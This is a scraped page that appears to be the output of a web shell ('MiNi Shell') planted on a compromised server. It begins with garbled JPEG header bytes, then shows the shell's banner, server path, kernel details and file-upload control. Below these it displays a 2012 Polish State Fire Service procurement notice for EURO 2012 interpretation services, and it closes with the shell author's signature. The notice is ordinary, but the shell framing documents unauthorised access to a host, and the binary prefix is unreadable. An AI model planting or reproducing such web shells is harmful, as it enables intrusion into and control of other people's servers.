JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20120426/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20120426/134930-N-2012.html

<p class="kh_header"><b>Warszawa: usługa zapewnienia tłumaczenia ustnego dla PSP podczas mistrzostw EURO 2012.</b><br>
<b>Numer ogłoszenia: 134930 - 2012; data zamieszczenia: 26.04.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Komendant  Główny Państwowej Straży Pożarnej , ul. Podchorążych 38, 00-463 Warszawa, woj. mazowieckie, tel. 022 5233334, faks 022 5233332.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> http://www.kgpsp.gov.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja rządowa centralna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> usługa zapewnienia tłumaczenia ustnego dla PSP podczas mistrzostw EURO 2012..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Usługa tłumaczenia ustnego dla Państwowej Straży Pożarnej podczas mistrzostw EURO 2012. Opis miejsca realizacji usługi, zakresu zadań oraz ramy czasowe, wynikające z przedmiotu zamówienia:
Warszawa
7-9.06.2012 - 3 bloki (24h każdy) języka greckiego;
11-13.06.2012 - 3 bloki (24h każdy) języka rosyjskiego;
15-17.06.2012 - 3 bloki (24h każdy) języka greckiego i 3 bloki (24h każdy) języka rosyjskiego (dwa języki równolegle);
20-22.06.2012 - po 3 bloki (24h każdy) języka ojczystego drużyn piłkarskich rozgrywających mecz w ? finału turnieju EURO 2012 (dwa języki obce równolegle w przypadku udziału dwóch drużyn zagranicznych). W przypadku rozgrywania meczu z udziałem reprezentacji Polski tłumaczenie będzie zapewnione wyłącznie w jednym języku obcym;
27-29.06.2012 - po 3 bloki (24h każdy) języka ojczystego drużyn piłkarskich rozgrywających mecz w ? finału turnieju EURO 2012 (dwa języki obce równolegle w przypadku udziału dwóch drużyn zagranicznych). W przypadku rozgrywania meczu z udziałem reprezentacji Polski tłumaczenie będzie zapewnione wyłącznie w jednym języku obcym.
Wrocław
7-9.06.2012 - 6 bloków (24h każdy)  języka rosyjskiego (po 2 bloki równolegle);
11-13.06.2012 - 6 bloków (24h każdy) języka greckiego (po 2 bloki równolegle).
Gdańsk 
9-11.06.2012 - 3 bloki (24h każdy) języka hiszpańskiego i 3 bloki (24h każdy)  języka włoskiego (dwa języki równolegle);
13-15.06.2012 - 3 bloki (24h każdy) języka hiszpańskiego i 3 bloki języka angielskiego (dwa języki równolegle);
17-19.06.2012 - 3 bloki (24h każdy) języka hiszpańskiego i 3 bloki języka chorwackiego (dwa języki równolegle);
21-23.06.2012 - po 3 bloki (24h każdy) języka ojczystego drużyn piłkarskich rozgrywających mecz w ? finału turnieju EURO 2012 (dwa języki obce równolegle w przypadku udziału dwóch drużyn zagranicznych). W przypadku rozgrywania meczu z udziałem reprezentacji Polski tłumaczenie będzie zapewnione wyłącznie w jednym języku obcym.
Poznań
9-11.06.2012 - 3 bloki (24h każdy) języka chorwackiego i 3 bloki (24h każdy) języka angielskiego (dwa języki równolegle);
13-15.06.2012 - 3 bloki (24h każdy) języka chorwackiego i 3 bloki (24h każdy)  języka włoskiego (dwa języki równolegle);
17-19.06.2012 - 3 bloki (24h każdy) języka angielskiego i 3 bloki (24h każdy) języka włoskiego (dwa języki równolegle).
Kraków
7-29.06.2012 - 23 bloki (24h każdy) języka angielskiego. 
Uwaga: Jeden blok językowy oznacza zapewnienie ciągłości tłumaczenia danego języka przez 24h. Blok językowy rozpoczyna się o godz. 8:00 wskazanego dnia i trwa do 8:00 dnia następnego.
Każdy blok językowy trwający 24h powinien być obsługiwany przez 3 tłumaczy kolejno po sobie..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 29.06.2012.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawaiający nie wymaga wniesienia wadium</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie precyzuje w tym zakresie żadnych wymagań, których spełnienie Wykonawca zobowiązany jest wykazać w sposób szczególny</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>W celu potwierdzenia spełnienia warunku,Wykonawca zobowiązany jest wykazać, że w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeśli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał co najmniej:
a) 1 usługę polegającą na zapewnieniu tłumaczenia ustnego z wykorzystaniem co najmniej 6 tłumaczy jednocześnie (zgodnie z załącznikiem nr 8)
oraz 
b) 1 usługę polegającą na zapewnieniu tłumaczenia ustnego, której wartość brutto wyniosła min. 120 000 zł (zgodnie z załącznikiem nr 8) 
oraz
c) 1 usługę polegającą na zapewnieniu tłumaczenia ustnego, która była organizowana w co najmniej dwóch różnych miastach (zgodnie z załącznikiem nr 8) 
z podaniem przedmiotu zamówienia, dat wykonania i odbiorców oraz załączyć dokumenty potwierdzające, że te usługi zostały wykonane należycie;
Zamawiający dopuszcza spełnienie powyższych warunków łącznie tj. wykonanie co najmniej jednej usługi tłumaczenia ustnego spełniającej trzy w/w warunki: z wykorzystaniem co najmniej 6 tłumaczy, zorganizowanej w co najmniej 2 miastach oraz o wartości zamówienia brutto min. 120.000 zł.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie precyzuje w tym zakresie żadnych wymagań, których spełnienie Wykonawca zobowiązany jest wykazać w sposób szczególny</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>W celu potwierdzenia spełnienia warunku, Wykonawca zobowiązany jest wykazać że dysponuje osobami:
a) nie mniej niż po 3 tłumaczy z każdego z podanych języków: angielski, ukraiński, chorwacki, francuski, szwedzki, grecki, rosyjski, czeski, niderlandzki, duński, niemiecki, portugalski, hiszpański, włoski - tj. w sumie min. 42 tłumaczy.
b) każdy tłumacz z listy języków (angielski, ukraiński, chorwacki, francuski, szwedzki, grecki, rosyjski, czeski, niderlandzki, duński, niemiecki, portugalski, hiszpański, włoski) spełnia co najmniej jedno z następujących wymagań:
- posiada ukończony co najmniej trzeci rok studiów filologicznych w zakresie danego języka obcego.
- posiada certyfikat potwierdzający znajomość danego języka obcego na poziomie C1 
(B2 jeżeli w zakresie danego języka nie ma certyfikacji na wyższy poziom).
- posiada zaświadczenie o znajomości danego języka obcego na poziomie co najmniej B2 wydanego przez uczelnię wyższą.
- włada wymaganym językiem obcym jako ojczystym, jednocześnie posiadając biegłą znajomość języka polskiego.
Zamawiający uzna warunek za spełniony, jeżeli Wykonawca przedstawi oświadczenie, że będzie dysponował min. 42 osobami, tłumaczami o wymaganych przez Zamawiającego kwalifikacjach zawodowych, doświadczeniu lub wykształceniu niezbędnym do wykonania zamówienia (wg Tabeli 1 i opisu zawartym w OPZ)</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie precyzuje w tym zakresie żadnych wymagań, których spełnienie Wykonawca zobowiązany jest wykazać w sposób szczególny</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">oświadczenie, że osoby, które będą uczestniczyć w wykonywaniu zamówienia, posiadają wymagane uprawnienia, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

</ul></li>
<li>
</li>
</ul>
<br><p class="bold">

III.5) INFORMACJA O DOKUMENTACH POTWIERDZAJĄCYCH, ŻE OFEROWANE DOSTAWY , USŁUGI LUB ROBOTY BUDOWLANE ODPOWIADAJĄ OKREŚLONYM WYMAGANIOM</p>
<p class="bold">W zakresie potwierdzenia, że oferowane dostawy, usługi lub roboty budowlane odpowiadają określonym wymaganiom należy przedłożyć:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc">
<li style="margin-bottom: 12px;"><p style="margin: 0px; padding: 0px;">inne dokumenty</p>
<p style="margin: 0px; padding: 0px;">W celu potwierdzenia, że oferowany przedmiot zamówienia odpowiada wymaganiom określonym w SIWZ Wykonawca zobowiązany jest do oferty dołączyć podpisany załącznik nr 1 do SIWZ Opis przedmiotu zamówienia, który będzie stanowił załącznik do umowy.</p></li>



</ul><p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Dokumenty wskazujące na uprawnienia osoby/osób podpisujących ofertę do jej podpisania lub oświadczenie w zakresie uprawnień. Wszystkie oświadczenia sporządzona na podstawie wzorów stanowiacych załączniki do SIWZ powinny być złożone w formie oryginałów, z uwzględnieniem art. 26 ust. 3 ustawy. W przypadku złożenia oferty przez konsorcjum do oferty należy dołączyć pełnomocnictwo wskazujace grupę Wykonawców ubiegających sie o wspólne udzielenie zamówienia, w tym do podpisywania oferty, podpisania umowy. Z dołączonego pełnomocnictwa winno wynikać, że podmioty występujące wspólnie, po wyborze oferty, a przed podpisaniem umowy z Zamawiającym, zawrą umowę konsorcjum, która stanowć będzie załącznik do umowy</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>nie</p>

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http:/www/straz.gov.pl/page/index.php<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Komenda Główna Państwowej Straży Pożarnej, Biuro Finansów, Wydział Zamówień Publicznych, 00-643 Warszawa, ul. Podchorążych 38, budynek 4 pok. nr 10..</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 08.05.2012 godzina 10:00, miejsce: Komenda Główna Państwowej Straży Pożarnej, Biuro Finansów, Wydział Zamówień Publicznych, 00-643 Warszawa, ul. Podchorążych 38, budynek 4 pok. nr 10..</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 28 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Zamawiający w celu potwierdzenia spełnienia warunków udziału w postępowaniu, o których mowa w pkt III 3.1, III 3.3 i III 3.5 nie będzie wymagał dokumentów, o których mowa w §1 ust. 1  rozporządzenia Prezesa Rady Ministrów z dnia 30 grudnia 2009 r. w sprawie rodzajów dokumentów, jakich może żądać zamawiający od wykonawcy, oraz form, w jakich te dokumenty mogą być składane (Dz. U. Nr 226, poz. 1817). Za wystarczające do potwierdzenia, iż Wykonawca spełnia warunki udziału w postępowaniu Zamawiający uzna dołączenie do oferty oświadczenia Wykonawcy w trybie art. 22 ust. 1 ustawy, w związku z art. 44 ustawy.
Oświadczenie w trybie art. 22 ustawy może być złożone przez każdego z Wykonawców składających ofertę wspólną (jedynie w sytuacji, jeśli każdy z nich spełnia wszystkie warunki samodzielnie), albo może być złożone wspólnie, lecz w takim wypadku oświadczenie musi być złożone i podpisane przez pełnomocnika lub przez osoby reprezentujące wszystkich wykonawców. Wykonawca, który będzie wykazywał spełnienie warunku o których mowa w pkt III 3.2 polegając na wiedzy i doświadczenia  innych podmiotów zobowiązany jest do oferty dołączyć pisemne zobowiązanie tych podmiotów do oddania mu do dyspozycji niezbędnych zasobów na okres korzystania z nich przy wykonaniu zamówienia. Treść zobowiązania podmiotu trzeciego powinna określać: kto jest podmiotem przyjmującym zasoby, zakres zobowiązania podmiotu trzeciego, czego konkretnie dotyczy zobowiązanie oraz w jaki sposób będzie ono wykonane, w tym jakiego okresu dotyczy. W takim przypadku, również pełnomocnictwo powinno zawierać wyraźne nawiązanie do uczestnictwa tego podmiotu w wykonaniu przedmiotu zamówienia.
Wykonawca, który będzie wykazywał spełnienie powyższego warunku polegając na posiadaniu wiedzy i doświadczenia innych podmiotów, a podmioty te będą brały udział w realizacji części zamówienia Wykonawca  zobowiązany jest do oferty dołączyć poza pisemnym zobowiązaniem, o którym mowa w ppkt 2.1., oświadczenie w/w podmiotu o braku podstaw do wykluczenia z postępowania.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com